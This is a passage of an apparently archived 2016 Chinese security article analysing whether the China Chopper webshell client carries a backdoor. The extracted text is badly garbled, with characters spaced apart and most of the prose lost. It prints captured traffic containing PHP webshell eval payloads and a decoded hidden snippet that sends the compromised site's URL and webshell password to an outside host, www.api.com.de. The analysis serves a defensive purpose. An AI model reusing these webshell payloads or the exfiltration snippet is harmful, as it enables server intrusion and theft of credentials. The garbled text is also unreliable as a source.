[9749] 2016-01-18_技术揭秘:如何分析中国菜刀是否包含后门?

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最后更新:2025-01-18
2016-01-18_技术揭秘:如何分析中国菜刀是否包含后门? s i m e o n   F r e e B u f   2 0 1 6 - 0 1 - 1 8 s i m e o n 0 x 0 0   湿 S S H   S e c u r e   C l i e n t w e b s h e l l w e b s h e l l 0 x 0 1   ( C h i n a   c h o p p e r ) 广 使 便 2 1 4 K 使 U I N C O D E 0 x 0 2   1 C o m s e n z E X P h t t p : / / w w w . c o m s e n z . c o m / d o w n l o a d s / i n s t a l l / e x p 2 C o m s e n z E X P w w w r o o t p h p 3 W S o c k E x p e r t _ C n 4 e n c o d e 5 c h o p p e r 0 x 0 3   1 h t t p : / / 1 2 7 . 0 . 0 . 1 / 1 . p h p x 1 1 w e b s h e l l 2 W S o c k E x p e r t W S o c k E x p e r t 2 W S o c k E x p e r t 2 W S o c k E x p e r t 3 使 使 w e b s h e l l w e b s h e l l h t t p : / / 1 2 7 . 0 . 0 . 1 / 1 . p h p 3 w e b s h e l l
3 w e b s h e l l 4 W S o c k E x p e r t 4 u r l 4 5 u r l E n c o d e 5 U R I D e c o d e r E n c o d e r 5 u r l x = $ _ = s t r r e v ( e d o c e d _ 4 6 e s a b ) ; @ e v a l ( $ _ ( $ _ P O S T [ z 0 ] ) ) ; & z 0 = Q G V 2 Y W w o Y m F z Z T Y 0 X 2 R l Y 2 9 k Z S g n Y V d Z b 0 p G O U R U M D l M U 1 V W Y k o w e D V h M l V u W F N F O U 1 T b D d j M l Y w W T I 5 d m E y b G x L Q 2 R N Z V d 0 b E p 5 d 3 h L V H R B W m 1 s c 1 p T Z 2 5 h S F I w Y 0 R v d k w z Z D N k e T V o Y 0 d r d V k y O X R M b V J s T D B G d 2 F T N X d h S E E v V l h K c 1 B T Y 3 V K R j l U U l Z K V 1 J W S m J K M G h V V k Z C Z l N F O V R W Q 2 R k T G l S Z l U w V l N W a 1 Z T V 3 l k U 1 J W R l Z S V k 5 V W D F W U 1 N T Z G R M a W N t V U d G e m N 6 M G 5 M b X R s Z V N n a 1 g x Q l B V M V F w S 1 R 0 O S c p K T t A a W 5 p X 3 N l d C g i Z G l z c G x h e V 9 l c n J v c n M i L C I w I i k 7 Q H N l d F 9 0 a W 1 l X 2 x p b W l 0 K D A p O 0 B z Z X R f b W F n a W N f c X V v d G V z X 3 J 1 b n R p b W U o M C k 7 Z W N o b y g i L T 5 8 I i k 7 O y R E P W R p c m 5 h b W U o J F 9 T R V J W R V J b I l N D U k l Q V F 9 G S U x F T k F N R S J d K T t p Z i g k R D 0 9 I i I p J E Q 9 Z G l y b m F t Z S g k X 1 N F U l Z F U l s i U E F U S F 9 U U k F O U 0 x B V E V E I l 0 p O y R S P S J 7 J E R 9 X H Q i O 2 l m K H N 1 Y n N 0 c i g k R C w w L D E p I T 0 i L y I p e 2 Z v c m V h Y 2 g o c m F u Z 2 U o I k E i L C J a I i k g Y X M g J E w p a W Y o a X N f Z G l y K C J 7 J E x 9 O i I p K S R S L j 0 i e y R M f T o i O 3 0 k U i 4 9 I l x 0 I j s k d T 0 o Z n V u Y 3 R p b 2 5 f Z X h p c 3 R z K C d w b 3 N p e F 9 n Z X R l Z 2 l k J y k p P 0 B w b 3 N p e F 9 n Z X R w d 3 V p Z C h A c G 9 z a X h f Z 2 V 0 Z X V p Z C g p K T o n J z s k d X N y P S g k d S k / J H V b J 2 5 h b W U n X T p A Z 2 V 0 X 2 N 1 c n J l b n R f d X N l c i g p O y R S L j 1 w a H B f d W 5 h b W U o K T s k U i 4 9 I i h 7 J H V z c n 0 p I j t w c m l u d C A k U j s 7 Z W N o b y g i f D w t I i k 7 Z G l l K C k 7 z 0 = E n c o d e b a s e 6 4 6 b a s e 6 4 b a s e 6 4 @ e v a l ( b a s e 6 4 _ d e c o d e ( ' a W Y o J F 9 D T 0 9 L S U V b J 0 x 5 a 2 U n X S E 9 M S l 7 c 2 V 0 Y 2 9 v a 2 l l K C d M e W t l J y w x K T t A Z m l s Z S g n a H R 0 c D o v L 3 d 3 d y 5 h c G k u Y 2 9 t L m R l L 0 F w a S 5 w a H A / V X J s P S c u J F 9 T R V J W R V J b J 0 h U V F B f S E 9 T V C d d L i R f U 0 V S V k V S W y d S R V F V R V N U X 1 V S S S d d L i c m U G F z c z 0 n L m t l e S g k X 1 B P U 1 Q p K T t 9 ' ) ) ; @ i n i _ s e t ( " d i s p l a y _ e r r o r s " , " 0 " ) ; @ s e t _ t i m e _ l i m i t ( 0 ) ; @ s e t _ m a g i c _ q u o t e s _ r u n t i m e ( 0 ) ; e c h o ( " - > | " ) ; ; $ D = d i r n a m e ( $ _ S E R V E R [ " S C R I P T _ F I L E N A M E " ] ) ; i f ( $ D = = " " ) $ D = d i r n a m e ( $ _ S E R V E R [ " P A T H _ T R A N S L A T E D " ] ) ; $ R = " { $ D } t " ; i f ( s u b s t r ( $ D , 0 , 1 ) ! = " / " ) { f o r e a c h ( r a n g e ( " A " , " Z " ) a s $ L ) i f ( i s _ d i r ( " { $ L } : " ) ) $ R . = " { $ L } : " ; } $ R . = " t " ; $ u = ( f u n c t i o n _ e x i s t s ( ' p o s i x _ g e t e g i d ' ) ) ? @ p o s i x _ g e t p w u i d ( @ p o s i x _ g e t e u i d ( ) ) : ' ' ; $ u s r = ( $ u ) ? $ u [ ' n a m e ' ] : @ g e t _ c u r r e n t _ u s e r ( ) ; $ R . = p h p _ u n a m e ( ) ; $ R . = " ( { $ u s r } ) " ; p r i n t $ R ; ; e c h o ( " | < - " ) ; d i e ( ) ;
6 b a s e 6 4 b a s e 6 4 E n c o d e b a s e 6 4 D e c o d e 7 i f ( $ _ C O O K I E [ ' L y k e ' ] ! = 1 ) { s e t c o o k i e ( ' L y k e ' , 1 ) ; @ f i l e ( ' h t t p : / / w w w . a p i . c o m . d e / A p i . p h p ? U r l = ' . $ _ S E R V E R [ ' H T T P _ H O S T ' ] . $ _ S E R V E R [ ' R E Q U E S T _ U R I ' ] . ' & P a s s = ' . k e y ( $ _ P O S T ) ) ; } h t t p : / / w w w . a p i . c o m . d e / A p i . p h p ? U r l = ' . $ _ S E R V E R [ ' H T T P _ H O S T ' ] . $ _ S E R V E R [ ' R E Q U E S T _ U R I ' ] . ' & P a s s = ' . k e y ( $ _ P O S T ) w e b s h e l l s h e l l w w w . a p i . c o m . d e 7 0 x 0 4   使 w e b s h e l l * s i m e o n F r e e B u f
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